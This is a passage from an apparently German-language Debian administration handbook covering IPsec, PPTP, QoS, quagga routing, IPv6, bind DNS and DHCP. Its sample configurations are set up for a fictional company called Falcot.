Bündeln der Verwaltung an einem zentralen Punkt und sicherer durch das regelmäßige Rotieren der Schlüssel.

Trotz seines Status als Referenz, schränkt die Komplexität der Einrichtung von IPsec seine Verwendung in der Praxis ein. Lösungen auf der Basis von OpenVPN werden im allgemeinen bevorzugt, solange die erforderlichen Tunnel weder zu zahlreich noch zu dynamisch sind.

VORSICHT IPsec und NAT

Firewalls mit NAT und IPsec funktionieren nicht gut zusammen: Da IPsec die Pakete signiert, macht jede Veränderung dieser Pakete, die die Firewall möglicherweise vornimmt, die Signatur ungültig, und die Pakete werden an ihrem Ziel zurückgewiesen. Mehrere IPsec-Anwendungen enthalten inzwischen die NAT-T-Technik (für NAT Traversal), die im Prinzip das IPsec-Paket in einem normalen UDP-Pakets einkapselt.

SICHERHEIT IPsec und Firewalls

In IPsec ist der Datenaustausch über den UDP-Port 500 für den Austausch von Schlüsseln voreingestellt (auch auf UDP-Port 4500, falls NAT-T benutzt wird). Darüberhinaus benutzen IPsec-Pakete zwei fest zugeordnete IP-Protokolle, die die Firewall durchlassen muss; der Empfang dieser Pakete basiert auf ihren Protokollnummern 50 (ESP) und 51 (AH).

10.2.4. PPTP

PPTP (für Point-to-Point Tunneling Protocol) verwendet zwei Kommunikationskanäle, einen für die Kontrolldaten und einen für die Nutzdaten; letzterer verwendet das GRE-Protokoll (Generic Routing Encapsulation). Über den Datenaustauschkanal wird dann eine Standard-PPP-Verbindung eingerichtet.

10.2.4.1. Den Client konfigurieren

Das Paket pptp-linux enthält einen leicht zu konfigurierenden PPTP-Client für Linux. Die folgenden Anweisungen sind durch die offizielle Dokumentation angeregt:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Die Falcot-Administratoren haben mehrere Dateien erstellt: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot und /etc/ppp/ip-down.d/falcot.

Beispiel 10.2. Die Datei /etc/ppp/options.pptp

# PPP options fuer eine PPTP connection
lock
noauth
nobsdcomp
nodeflate

Beispiel 10.3. Die Datei /etc/ppp/peers/falcot

# vpn.falcot.com ist der PPTP server
pty "pptp vpn.falcot.com --nolaunchpppd"
# die Verbindung wird dem "vpn" Benutzer zugerechnet
user vpn
remotename pptp
#  Verschluesselung wird benuetigt
require-mppe-128
file /etc/ppp/options.pptp
ipparam falcot

Beispiel 10.4. Die Datei /etc/ppp/ip-up.d/falcot

# Erzeuge Route in das Falcot Netzwerk
if [ "$6" = "falcot" ]; then
# 192.168.0.0/24 ist das (remote) Falcot-Netzwerk
route add -net 192.168.0.0 netmask 255.255.255.0 dev $1
fi

Beispiel 10.5. Die Datei /etc/ppp/ip-down.d/falcot

# Loesche die Route in das Falcot-Netzwerk
if [ "$6" = "falcot" ]; then
# 192.168.0.0/24 is the (remote) Falcot network
route del -net 192.168.0.0 netmask 255.255.255.0 dev $1
fi

SICHERHEIT MPPE

PPTP wird mit der MPPE-Funktion abgesichert (Microsoft Point-to-Point Encryption), die in den offiziellen Debian-Kerneln als Modul vorhanden ist.

10.2.4.2. Den Server konfigurieren

VORSICHT PPTP und Firewalls

Zwischenliegende Firewalls müssen so konfiguriert sein, dass sie IP-Pakete durchlassen, die das Protokoll 47 (GRE) verwenden. Außerdem muss der Port 1723 des PPTP-Servers geöffnet sein, damit der Kommunikationskanal aufgebaut werden kann.

pptpd ist der PPTP-Server für Linux. Dessen Hauptkonfiguratiosdatei, /etc/pptpd.conf, erfordert nur sehr wenige Änderungen: localip (die lokale IP-Adresse) und remoteip (die entfernte IP-Adresse). Im folgenden Beispiel benutzt der PPTP-Server stets die Adresse 192.168.0.199, und PPTP-Clients erhalten Adressen von 192.168.0.200 bis 192.168.0.250.

Beispiel 10.6. Die Datei /etc/pptpd.conf

# TAG: speed
#
#       Specifies the speed for the PPP daemon to talk at.
#
speed 115200

# TAG: option
#
#       Specifies the location of the PPP options file.
#       By default PPP looks in '/etc/ppp/options'
#
option /etc/ppp/pptpd-options

# TAG: debug
#
#       Turns on (more) debugging to syslog
#
# debug

# TAG: localip
# TAG: remoteip
#
#       Specifies the local and remote IP address ranges.
#
#       You can specify single IP addresses separated by commas or you can
#       specify ranges, or both. For example:
#
#               192.168.0.234,192.168.0.245-249,192.168.0.254
#
#       IMPORTANT RESTRICTIONS:
#
#       1. No spaces are permitted between commas or within addresses.
#
#       2. If you give more IP addresses than MAX_CONNECTIONS, it will
#          start at the beginning of the list and go until it gets
#          MAX_CONNECTIONS IPs. Others will be ignored.
#
#       3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,
#          you must type 234-238 if you mean this.
#
#       4. If you give a single localIP, that's ok - all local IPs will
#          be set to the given one. You MUST still give at least one remote
#          IP for each simultaneous client.
#
#localip 192.168.0.234-238,192.168.0.245
#remoteip 192.168.1.234-238,192.168.1.245
#localip 10.0.1.1
#remoteip 10.0.1.2-100
localip 192.168.0.199
remoteip 192.168.0.200-250

Die PPP-Konfiguration des PPTP-Servers erfordert auch einige Änderungen in /etc/ppp/pptpd-options. Die wichtigen Parameter sind der Servername (pptp), der Domainname (falcot.com) und die IP-Adressen für DNS- und WINS-Server.

Beispiel 10.7. Die Datei /etc/ppp/pptpd-options

## turn pppd syslog debugging on
#debug

## change 'servername' to whatever you specify as your server name in chap-secrets
name pptp
## change the domainname to your local domain
domain falcot.com

## these are reasonable defaults for WinXXXX clients
## for the security related settings
# The Debian pppd package now supports both MSCHAP and MPPE, so enable them
# here. Please note that the kernel support for MPPE must also be present!
auth
require-chap
require-mschap
require-mschap-v2
require-mppe-128

## Fill in your addresses
ms-dns 192.168.0.1
ms-wins 192.168.0.1

## Fill in your netmask
netmask 255.255.255.0

## some defaults
nodefaultroute
proxyarp
lock

Im letzten Schritt wird der vpn-Benutzer (und das dazugehörige Passwort) in der Datei /etc/ppp/chap-secrets registriert. Hier muss statt des Sterns (*) der Servername ausdrücklich angegeben werden. Außerdem identifizieren sich Windows-PPTP-Clients in der Form DOMAIN\\BENUTZER statt nur einen Benutzernamen anzugeben. Dies erklärt, warum die Datei auch den Benutzer FALCOT\\vpn erwähnt. Es ist auch möglich, individuelle IP-Adressen für Benutzer anzugeben; ein Stern in diesem Feld bedeutet, dass dynamisch adressiert werden soll.

Beispiel 10.8. Die Datei /etc/ppp/chap-secrets

# Secrets for authentication using CHAP
# client        server  secret      IP addresses
vpn             pptp    f@Lc3au     *
FALCOT\\vpn     pptp    f@Lc3au     *

SICHERHEIT PPTP-Schwachstellen

Microsofts erste PPTP-Anwendung zog wegen der vielen Sicherheitslücken heftige Kritik auf sich; die meisten sind in neueren Versionen behoben worden. Die in diesem Abschnitte beschriebene Konfiguration verwendet die jüngste Version des Protokolls. Seien Sie sich jedoch bewusst, dass das Entfernen einiger Optionen (wie require-mppe-128 und require-mschap-v2) den Dienst wieder angreifbar machen würde.

10.3. Quality of Service

10.3.1. Prinzip und Mechanismus

Quality of Service (oder kurz QoS) bezeichnet eine Reihe von Techniken, die die Qualität der Dienste sicherstellen oder verbessern, die für Anwendungen bereitgestellt werden. Die populärste Technik besteht in der Einstufung des Netzverkehrs in Kategorien und der Differenzierung des Datenverkehrs nach Kategorien. Die Hauptanwendung dieses differenzierten Dienstekonzepts ist traffic shaping, das die Datenübertragungsraten für Verbindungen im Zusammenhang mit einigen Diensten oder Rechnern begrenzt, um nicht die verfügbare Bandbreite auszuschöpfen und wichtige andere Dienste auszubremsen. Traffic Shaping eignet sich besonders gut für TCP-Datenverkehr, da sich dieses Protokoll automatisch auf die verfügbare Bandbreite einstellt.

Es ist auch möglich die Prioritäten für den Datenverkehr zu ändern, wodurch Pakete interaktiver Dienste (wie ssh und telnet) oder von Diensten mit kleinen Datenblöcken bevorzugt werden.

Die Debian-Kernel enthalten die für QoS erforderlichen Funktionen und die dazugehörigen Module. Diese Module sind zahlreich, und jedes von ihnen stellt einen anderen Dienst bereit, vor allem mittels spezieller Steuerprogramme für die Warteschlangen der IP-Pakete; die große Vielfalt der Verhaltensweisen der verfügbaren Steuerprogramme deckt den gesamten Bereich möglicher Anforderungen ab.

KULTUR LARTC — Linux Advanced Routing & Traffic Control

Das HOWTO Linux Advanced Routing & Traffic Control ist das Referenzdokument, das alles zum Thema Quality of Service von Netzwerken behandelt.

→ http://www.lartc.org/howto/

10.3.2. Konfigurieren und Ausführen

QoS-Parameter werden mit dem Befehl tc gesetzt (vom Paket iproute bereitgestellt). Da diese Schnittstelle recht komplex ist, ist die Verwendung von Programmen auf höherer Ebene empfehlenswert.

10.3.2.1. Latenzzeiten verringern: wondershaper

Die Hauptaufgabe von wondershaper (in dem Paket ähnlichen Namens) besteht darin, Latenzzeiten unabhängig von der Netzauslastung zu minimieren. Dies wird dadurch erreicht, dass der gesamte Datenverkehr auf einen Wert begrenzt wird, der gerade unterhalb des Wertes für die vollständige Auslastung der Verbindung liegt.

Sobald eine Netzwerkschnittstelle konfiguriert ist, wird das Einstellen der Datenverkehrsbegrenzung durch das Ausführen von wondershaper schnittstelle download_rate upload_rate erreicht. Die Schnittstelle kann zum Beispiel eth0 oder ppp0 sein, und beide Raten werden in Kilobits pro Sekunde ausgedrückt. Der Befehl wondershaper remove schnittstelle unterbindet die Datenverkehrskontrolle an der genannten Schnittstelle.

Für eine Ethernetverbindung wird dieses Skript am besten unmittelbar nach der Konfiguration der Schnittstelle aufgerufen. Dies geschieht, indem up- und down-Anweisungen zur Datei /etc/network/interfaces hinzugefügt werden, die es den angegebenen Befehlen erlauben zu laufen, nachdem die Schnittstelle konfiguriert beziehungsweise bevor sie dekonfiguriert wird. Zum Beispiel:

Beispiel 10.9. Änderungen in der Datei /etc/network/interfaces

iface eth0 inet dhcp
up /sbin/wondershaper eth0 500 100
down /sbin/wondershaper remove eth0

Im Falle von PPP aktiviert ein Skript, das wondershaper in /etc/ppp/ip-up.d/ aufruft, die Datenverkehrskontrolle, sobald die Verbindung steht.

WEITERE SCHRITTE Optimale Konfiguration

Die Datei /usr/share/doc/wondershaper/README.Debian.gz beschreibt recht genau die vom Paketbetreuer empfohlene Konfiguration. Insbesondere rät es dazu, die Upload- und Downloadgeschwindigkeit zu messen, um so am besten die tatsächlichen Grenzen abzuschätzen.

10.3.2.2. Standard-Konfiguration

Falls es keine besondere QoS-Konfiguration gibt, verwendet der Linux-Kernel das Warteschlangen-Steuerprogramm pfifo_fast, das selbst einige interessante Funktionen aufweist. Die Priorität jedes verarbeiteten IP-Pakets hängt von dessen ToS-Feld (Type of Service) ab; es genügt, dieses Feld zu ändern, um die zeitlichen Steuerungsfunktionen zu nutzen. Es gibt fünf mögliche Werte:

- Normal-Service (0);

- Minimize-Cost (2);

- Maximize-Reliability (4);

- Maximize-Throughput (8);

- Minimize-Delay (16).

Das ToS-Feld kann durch Anwendungen, die IP-Pakete erzeugen, erstellt oder im laufenden Betrieb mit netfilter verändert werden. Die folgenden Regeln genügen, um die Ansprechbarkeit des SSH-Dienstes eines Servers zu erhöhen:

iptables -t mangle -A PREROUTING -p tcp --sport ssh -j TOS --set-tos Minimize-Delay
iptables -t mangle -A PREROUTING -p tcp --dport ssh -j TOS --set-tos Minimize-Delay

10.4. Dynamisches Routing

Das Referenzprogramm für das dynamische Routing ist zur Zeit quagga, aus dem Paket ähnlichen Namens; früher war es zebra, bis seine Entwicklung eingestellt wurde. Jedoch führte quagga die Bezeichnungen der Programme aus Kompatibilitätsgründen fort, wodurch sich die untenstehenden zebra-Befehle erklären.

ZURÜCK ZU DEN GRUNDLAGEN Dynamisches Routing

Dynamisches Routing ermöglicht es Routern, die zur Übertragung von IP-Paketen verwendeten Pfade in Echtzeit anzupassen. Jedes Protokoll benutzt seine eigene Methode, um Routen festzulegen (kürzester Weg, von anderen Teilnehmern empfohlene Routen und so weiter).

Im Linux-Kernel verbindet eine Route ein Netzwerkgerät mit einer Reihe von Rechnern, die über dieses Gerät erreicht werden können. Der Befehl route legt neue Routen fest und zeigt bestehende an.

Quagga ist ein Satz von Daemons, die bei der Festlegung der Routingtabellen des Linux-Kernels zusammenarbeiten; jedes Routingprotokoll (insbesondere BGP, OSPF und RIP) stellt seinen eigenen Daemon bereit. Der zebra-Daemon sammelt Informationen von anderen Daemons und verarbeitet statische Routingtabellen dementsprechend. Die übrigen Daemons sind bekannt als bgpd, ospfd, ospf6d, ripd, ripngd, isisd, und babeld.

Daemons werden durch Editieren der Datei /etc/quagga/daemons und Erstellen der entsprechenden Konfigurationsdatei in /etc/quagga/ aktiviert; diese Konfigurationsdatei muss nach dem Daemon benannt sein, mit der Erweiterung .conf, und dem quagga-Benutzer und der quaggavty-Gruppe gehören, damit das Skript /etc/init.d/quagga den Daemon aufruft.

Zur Konfiguration jedes dieser Daemons ist es erforderlich, das betreffende Routingprotokoll zu kennen. Diese Protokolle können hier nicht im Einzelnen beschrieben werden, jedoch stellt quagga-doc umfangreiche Erläuterungen in Form einer info-Datei bereit. Der gleiche Inhalt kann auch leichter als HTML auf der Quagga-Webseite durchsucht werden:

→ http://www.nongnu.org/quagga/docs/docs-info.html

Zusätzlich ist die Konfiguration sehr nahe an einer standard Router-Konfiguration und Netzwerkadministratoren werden schnell mit quagga zurechtkommen.

IN DER PRAXIS OSPF, BGP or RIP?

OSPF ist im Allgemeinen das beste Protokoll in privaten Netzwerken dynamisch zu routen, während BGP für das Internet-weite Routing üblicher ist. RIP ist recht alt und wird nur noch selten verwendet.

10.5. IPv6

IPv6, der Nachfolger von IPv4, ist eine neue Version des IP-Protokolls, das mit dem Ziel entwickelt wurde, seine Schwächen zu beheben, vor allem die Knappheit verfügbarer IP-Adressen. Dieses Protokoll handhabt die Netzwerkschichten; es adressiert die Rechner, überträgt Daten an ihr vorgesehenes Ziel und erledigt falls erforderlich die Datenfragmentierung (mit anderen Worten, Pakete in Stücke aufzuteilen und diese Stücke bei der Ankunft wieder in ihrer richtigen Reihenfolge zusammenzusetzen. Die Größe der Pakete hängt von den Netzwerkverbindungen ab.).

Bei Debian-Kerneln wird IPv6 im Core-Kernel ausgeführt (abgesehen von einigen Architekturen, bei denen es als Modul unter dem Namen ipv6 kompiliert wurde). Die IPv6-Äquivalente grundlegender Programme wie ping und traceroute heißen ping6 und traceroute6 und sind in den Paketen iputils-ping beziehungsweise iputils-tracepath verfügbar.

Das IPv6-Netzwerk wird ähnlich wie IPv4 in /etc/network/interfaces konfiguriert. Wenn jedoch dieses Netzwerk global verfügbar sein soll, müssen Sie einen IPv6-fähigen Router haben, um den Datenverkehr an das weltweite IPv6-Netzwerk zu übermitteln.

Beispiel 10.10. Beispiel einer IPv6-Konfiguration

iface eth0 inet6 static
address 2001:db8:1234:5::1:1
netmask 64
# Disabling auto-configuration
# autoconf 0
# The router is auto-configured and has no fixed address
# (accept_ra 1). If it had:
# gateway 2001:db8:1234:5::1

IPV6 Subnetze haben eine Netzmaske von 64 Bit. Das heißt, es stehen 2^64 eindeutige Adressen innerhalb des Subnetzes zur Verfügung. Das ermöglicht der Stateless Address Autoconfiguration (SLAAC), eine Adresse basierend auf der MAC-Adresse der Netzwerkkarte auszuwählen. Standardmäßig findet der Kernel automatisch IPv6 Router und konfiguriert das Netzwerk, wenn SLAAC in Ihrem Netzwerk und IPv6 auf Ihrem Computer aktiviert sind.

Dieses Verhalten könnte Einfluss auf den Datenschutz haben. Wenn Sie häufig zwischen Netzwerken wechseln, z.B. mit Ihrem Laptop, möchten Sie eventuell nicht, dass Ihre MAC-Adresse Teil Ihrer öffentlichen IPv6 Adresse ist. Denn dadurch ist es sehr einfach, das gleiche Gerät über Netzwerke hinweg zu identifizieren. Eine Lösung dafür bieten IPv6-Erweiterungen (welche Debian per Default einrichtet, wenn eine IPv6 Verbindung bei der Installation erkannt wird), die eine zusätzliche zufällig erzeugte Adresse an die der Schnittstelle anhängen, diese periodisch ändern und sie vor allem für ausgehende Verbindungen verwenden. Eingehende Verbindungen können weiterhin die von SLAAC erzeugte Adresse verwenden. Die folgende Vorlage zur Verwendung in /etc/network/interfaces aktiviert diese Datenschutz-Erweiterungen.

Beispiel 10.11. IPv6 Datenschutzerweiterungen

iface eth0 inet6 auto
# Prefer the randomly assigned addresses for outgoing connections.
privext 2

TIP Programme mit IPv6-Unterstützung

Viele Softwareprogramme müssen an IPv6 angepasst werden. Die meisten Debian-Pakete sind bereits angepasst worden, aber nicht alle. Wenn Ihr bevorzugtes Paket IPv6 noch nicht unterstützt, können Sie über die Mailingliste debian-ipv6 um Unterstützung bitten. Dort kennt man möglicherweise eine Alternative, die IPv6 unterstützt und kann einen Fehlerbericht schreiben, um die Anforderung geordnet nachzuverfolgen.

→ http://lists.debian.org/debian-ipv6/

IPv6-Verbindungen können weiterhin, wie unter IPv4, beschränkt werden: die Debian-Standardkernel enthalten eine Anpassung von netfilter an IPv6. Dieses IPv6-fähige netfilter ist auf ähnliche Weise wie sein IPv4-Pendant konfiguriert, es ist lediglich ip6tables statt zu iptables verwenden.

10.5.1. Tunneln

VORSICHT Firewalls und Tunneln von IPv6

IPv6 über IPv4 zu tunneln (im Gegensatz zu nativem IPv6) erfordert, dass die Firewall Datenverkehr über das Protokoll mit der Nummer 41 akzeptiert.

Falls keine native IPv6-Verbindung verfügbar ist, kann als Rückgriff ein Tunnel über IPv4 verwendet werden. Gogo6 ist ein (kostenloser) Anbieter solcher Tunnel:

→ http://www.gogo6.com/freenet6/tunnelbroker

Um einen Freenet6-Tunnel verwenden zu können, müssen Sie sich mit einem Freenet Pro Konto auf der Webseite registrieren, dann das Paket gogoc installieren und den Tunnel konfigurieren. Hierzu muss die Datei /etc/gogoc/gogoc.conf editiert werden: die Zeilen userid und password, die Sie per E-Mail erhalten, sollten hinzugefügt und server durch authenticated.freenet6.net ersetzt werden.

IPv6-Konnektivität wird allen Rechnern eines lokalen Netzes durch das Hinzufügen der folgenden drei Anweisungen zu der Datei /etc/gogoc/gogoc.conf angeboten (unter der Annahme, dass das lokale Netz mit der eth0-Schnittstelle verbunden ist):

host_type=router
prefixlen=56
if_prefix=eth0

Der Rechner wird hiermit zum Zugangsrouter für ein Subnetz mit einem 56-Bit-Präfix. Sobald der Tunnel diese Veränderung erkennt, muss das lokale Netzwerk hierüber informiert werden; dies bedeutet, dass der radvd-Daemon installiert werden muss (aus dem Paket ähnlichen Namens). Dieser IPv6-Konfigurationsdaemon hat eine ähnliche Rolle wie dhcpd in der IPv4-Welt.

Anschließend muss die Konfigurationsdatei /etc/radvd.conf erstellt werden (siehe /usr/share/doc/radvd/examples/simple-radvd.conf als Ausgangspunkt). In unserem Fall muss nur das Präfix verändert werden, das durch das von Freenet6 bereitgestellte ersetzt werden muss; es ist in der Ausgabe des Befehls ifconfig zu finden im Absatz zur tun-Schnittstelle.

Dann führen Sie service gogoc restart und service radvd start aus, und das IPv6-Netzwerk sollte funktionieren.

10.6. Domain Name Server (DNS)

10.6.1. Prinzip und Mechanismus

Der Domain Name Service (DNS) ist ein grundlegender Bestandteil des Internets: Er löst Rechnernamen in IP-Adressen auf (und umgekehrt), wodurch es möglich ist, www.debian.org anstelle von 5.153.231.4 or 2001:41c8:1000:21::21:4 zu verwenden.

DNS-Einträge sind in Zonen gegliedert; jede Zone entspricht einer Domain (oder Subdomain) oder einem Bereich von IP-Adressen (da IP-Adressen normalerweise in fortlaufenden Bereichen angeordnet sind). Ein Hauptserver ist für den Inhalt einer Zone zuständig; untergeordnete Server, die normalerweise auf separaten Rechnern untergebracht sind, stellen regelmäßig aktualisierte Kopien der Hauptzone bereit.

Jede Zone enthält Aufzeichnungen verschiedener Art (Resource Records):

- A: IPv4-Adresse.

- CNAME: Alias (canonical name).

- MX: mail exchange, ein E-Mailserver. Diese Information wird von anderen E-Mailservern dazu benutzt herauszufinden, wohin an eine bestimmte Adresse gerichtete E-Mail geschickt werden soll. Jeder MX-Eintrag hat eine bestimmte Priorität. Zunächst wird ein Versuch beim Server mit der höchsten Priorität (mit der niedrigsten Nummer) unternommen (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN SMTP); andere Server werden nach abnehmender Priorität kontaktiert, falls der erste nicht antwortet.

- PTR: Namenszuordnung zu einer IP-Adresse. Ein derartiger Eintrag ist in einer "reverse-DNS"-Zone gespeichert, die nach dem IP-Adressbereich benannt ist. Zum Beispiel ist 1.168.192.in-addr.arpa die Zone, die die umgekehrten Zuordnungen aller Adressen im Bereich 192.168.1.0/24 enthält.

- AAAA: IPv6-Adresse.

- NS: ordnet einen Namen einem Namensserver zu. Jede Domain muss wenigstens einen NS-Eintrag haben. Diese Einträge verweisen auf einen DNS-Server, der Anfragen beantworten kann, die diese Domain betreffen; sie verweisen gewöhnlich auf die primären und sekundären Server für diese Domain. Diese Einträge erlauben auch eine DNS-Delegierung; zum Beispiel kann die Zone falcot.com einen NS-Eintrag für internal.falcot.com enthalten, was bedeutet, dass die Zone internal.falcot.com von einem anderen Server gehandhabt wird. Natürlich muss dieser Server dann eine internal.falcot.com-Zone festlegen.

Der Referenz-Namensserver Bind wurde vom ISC (Internet Software Consortium) entwickelt und betreut. Er wird in Debian durch das Paket bind9 bereitgestellt. Version 9 weist im Vergleich zu früheren Versionen zwei größere Veränderungen auf. Zum einen kann der DNS-Server jetzt unter einem nicht privilegierten Benutzer laufen, so dass ein Angreifer durch eine Sicherheitslücke im Server keine Administratorrechte erlangen kann (wie bei den Versionen 8.x häufiger geschehen).

Zum anderen unterstützt Bind den DNSSEC-Standard zum Signieren (und damit Authentifizieren) von DNS-Einträgen, wodurch Spoofing dieser Daten durch einen Man-In-The-Middle-Angriff unterbunden werden kann.

KULTUR DNSSEC

Die DNSSEC-Norm ist recht komplex; dies erklärt zum Teil, warum seine Verwendung noch nicht weitverbreitet ist (obwohl es ohne weiteres neben DNS-Servern bestehen kann, die das DNSSEC nicht bemerken). Um alle Einzelheiten zu verstehen, sollten Sie einen Blick in den folgenden Artikel werfen:

→ http://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.6.2. Konfigurieren

Konfigurationsdateien für bind haben unabhängig von der Version die gleiche Struktur.

Die Falcot-Administratoren erstellen eine primäre falcot.com-Zone, um dort Domain-Informationen und eine 168.192.in-addr.arpa-Zone für die umgekehrte Namenszuordnung von IP-Adressen in den lokalen Netzen abzulegen.

VORSICHT Bezeichnung umgekehrter Zonen

Umgekehrte Zonen (reverse zones) haben eine besondere Bezeichnung. Die Zone, die das Netzwerk 192.168.0.0/16 erfasst, muss 168.192.in-addr.arpa heißen: die IP-Adresskomponenten sind umgekehrt und gefolgt vom Suffix in-addr.arpa.

Für IPv6-Netzwerke heißt das Suffix ip6.arpa und die weiteren Komponenten sind die in umgekehrter Reihenfolge notierten einzelnen hexadezimalen Zeichen der vollständigen IP-Adresse. So lautet die Zone für das Netzwerk 2001:0bc8:31a0::/48 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

TIP Den DNS-Server testen

Der Befehl host (im Paket bind9-host) fragt bei einem DNS-Server an und kann zum Testen der Serverkonfiguration dienen. Zum Beispiel überprüft der Befehl host machine.falcot.com localhost die Antwort des lokalen Servers auf eine Anfrage nach machine.falcot.com. Der Befehl host ipaddress localhost überprüft die umgekehrte Namensauflösung.

Die folgenden Konfigurationsauszüge sind den Falcot-Dateien entnommen und können als Ausgangspunkt für das Konfigurieren eines DNS-Servers dienen:

Beispiel 10.12. Auszug aus der Datei /etc/bind/named.conf.local

zone "falcot.com" {
type master;
file "/etc/bind/db.falcot.com";
allow-query { any; };
allow-transfer {
195.20.105.149/32 ; // ns0.xname.org
193.23.158.13/32 ; // ns1.xname.org
};
};

zone "internal.falcot.com" {
type master;
file "/etc/bind/db.internal.falcot.com";
allow-query { 192.168.0.0/16; };
};

zone "168.192.in-addr.arpa" {
type master;
file "/etc/bind/db.192.168";
allow-query { 192.168.0.0/16; };
};

Beispiel 10.13. Auszug aus der Datei /etc/bind/db.falcot.com

; falcot.com Zone
; admin.falcot.com. => zone contact: admin@falcot.com
$TTL    604800
@       IN      SOA     falcot.com. admin.falcot.com. (
20040121        ; Serial
604800         ; Refresh
86400         ; Retry
2419200         ; Expire
604800 )       ; Negative Cache TTL
;
; The @ refers to the zone name ("falcot.com" here)
; or to $ORIGIN if that directive has been used
;
@       IN      NS      ns
@       IN      NS      ns0.xname.org.

internal IN      NS      192.168.0.2

@       IN      A       212.94.201.10
@       IN      MX      5 mail
@       IN      MX      10 mail2

ns      IN      A       212.94.201.10
mail    IN      A       212.94.201.10
mail2   IN      A       212.94.201.11
www     IN      A       212.94.201.11

dns     IN      CNAME   ns

VORSICHT Namenssyntax

Die Syntax eines Rechnernamens folgt strengen Regeln. Zum Beispiel: rechner bedeutet rechner.domain. Falls die Bezeichnung der Domain nicht an einen Namen angehängt sein soll, muss der betreffende Name als rechner. geschrieben werden (mit einem Punkt als Suffix). Um einen DNS-Namen außerhalb der aktuellen Domain anzuzeigen, ist daher eine Syntax wie rechner.anderedomain.com. erforderlich (mit einem Punkt am Schluss).

Beispiel 10.14. Auszug aus der Datei /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16
; admin.falcot.com. => zone contact: admin@falcot.com
$TTL    604800
@       IN      SOA     ns.internal.falcot.com. admin.falcot.com. (
20040121        ; Serial
604800         ; Refresh
86400         ; Retry
2419200         ; Expire
604800 )       ; Negative Cache TTL

IN      NS      ns.internal.falcot.com.

; 192.168.0.1 -> arrakis
1.0     IN      PTR     arrakis.internal.falcot.com.
; 192.168.0.2 -> neptune
2.0     IN      PTR     neptune.internal.falcot.com.

; 192.168.3.1 -> pau
1.3     IN      PTR     pau.internal.falcot.com.

10.7. DHCP

DHCP (für Dynamic Host Configuration Protocol) ist ein Protokoll mit dem ein Rechner seine Netzwerkkonfiguration beim Hochfahren automatisch beziehen kann. Dies macht es möglich, die Verwaltung der Netzwerkkonfigurationen zu zentralisieren und sicherzustellen, dass alle Arbeitsplatzrechner ähnliche Einstellungen erhalten.

Ein DHCP-Server stellt zahlreiche Netzwerk-Parameter bereit. Die häufigsten sind IP-Adressen und das Netzwerk, zu dem der Rechner gehört, aber er kann auch andere Informationen bereitstellen, wie DNS-Server, WINS-Server, NTP-Server und so weiter.

Das Internet Software Consortium (das auch mit der Entwicklung von bind befasst ist) ist der Hauptverfasser des DHCP-Servers. Das hierzu passende Debian-Paket ist isc-dhcp-server.

10.7.1. Konfigurieren

Die ersten Elemente, die in der Konfigurationsdatei des DHCP-Servers (/etc/dhcp/dhcpd.conf) editiert werden müssen, sind der Domain-Name und die DNS-Server. Falls dieser Server im lokalen Netzwerk der einzige ist (in Übereinstimmung mit der Broadcast-Einstellung), muss die Anweisung authoritative ebenfalls aktiviert (oder auskommentiert) sein. Außerdem muss ein subnet-Abschnitt erstellt werden, der das lokale Netzwerk und die bereitzustellenden Konfigurationsinformationen beschreibt. Das folgende Beispiel passt zu einem lokalen 192.168.0.0/24-Netzwerk mit einem als Gateway dienenden Router an 192.168.0.1. Verfügbare IP-Adressen liegen im Bereich von 192.168.0.128 bis 192.168.0.254.

Beispiel 10.15. Auszug aus der Datei /etc/dhcp/dhcpd.conf

#
# Sample configuration file for ISC dhcpd for Debian
#

# The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages ('none', since DHCP v2 didn't
# have support for DDNS.)
ddns-update-style interim;

# option definitions common to all supported networks...
option domain-name "internal.falcot.com";
option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;
max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# My subnet
subnet 192.168.0.0 netmask 255.255.255.0 {
option routers 192.168.0.1;
option broadcast-address 192.168.0.255;
range 192.168.0.128 192.168.0.254;
ddns-domainname "internal.falcot.com";
}

10.7.2. DHCP und DNS

Eine angenehme Eigenschaft von DHCP-Clients ist das automatisierte Registrieren in der DNS-Zone, so dass jeder Rechner einen aussagekräftigen Namen erhält (statt etwas Unpersönlichem wie rechner-192-168-0-131.internal.falcot.com). Um diese Möglichkeit zu nutzen, muss der DNS-Server so konfiguriert werden, dass er Aktualisierungen der DNS-Zone internal.falcot.com vom DHCP-Server akzeptiert, und letzterer so, dass er Aktualisierungen für jede Registrierung einreicht.

Im Fall von bind muss die Anweisung allow-update zu jeder Zone, die der DHCP-Server editieren wird, hinzugefügt werden (die für die internal.falcot.com-Domain und die umgekehrte Zone). Diese Anweisung listet die IP-Adressen auf, denen die Aktualisierungen erlaubt sind; sie sollten daher die möglichen Adressen des DHCP-Servers enthalten (sowohl die lokale und, falls zutreffend, auch die öffentliche Adresse).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Vorsicht! Eine modifizierbare Zone wird von bind abgeändert, und ihre Konfigurationsdateien wird in regelmäßigen Abständen überschrieben. Da dieser automatisierte Vorgang Dateien erzeugt, die von Menschen weniger leicht zu lesen sind als manuell geschriebene, betreiben die Falcot-Administratoren die internal.falcot.com-Domain mit einem hierfür abgeordneten DNS-Server; dies bedeutet, dass die Datei der falcot.com-Zone fest unter ihrer manuellen Kontrolle bleibt.

Der obenstehende Auszug einer DHCP-Serverkonfiguration enthält bereits die für Aktualisierungen der DNS-Zone erforderlichen Anweisungen: dies sind die Zeilen ddns-update-style interim; und ddns-domain-name "internal.falcot.com"; in dem Abschnitt, der das Subnetz beschreibt.

10.8. Werkzeuge für die Netzwerk-Diagnose

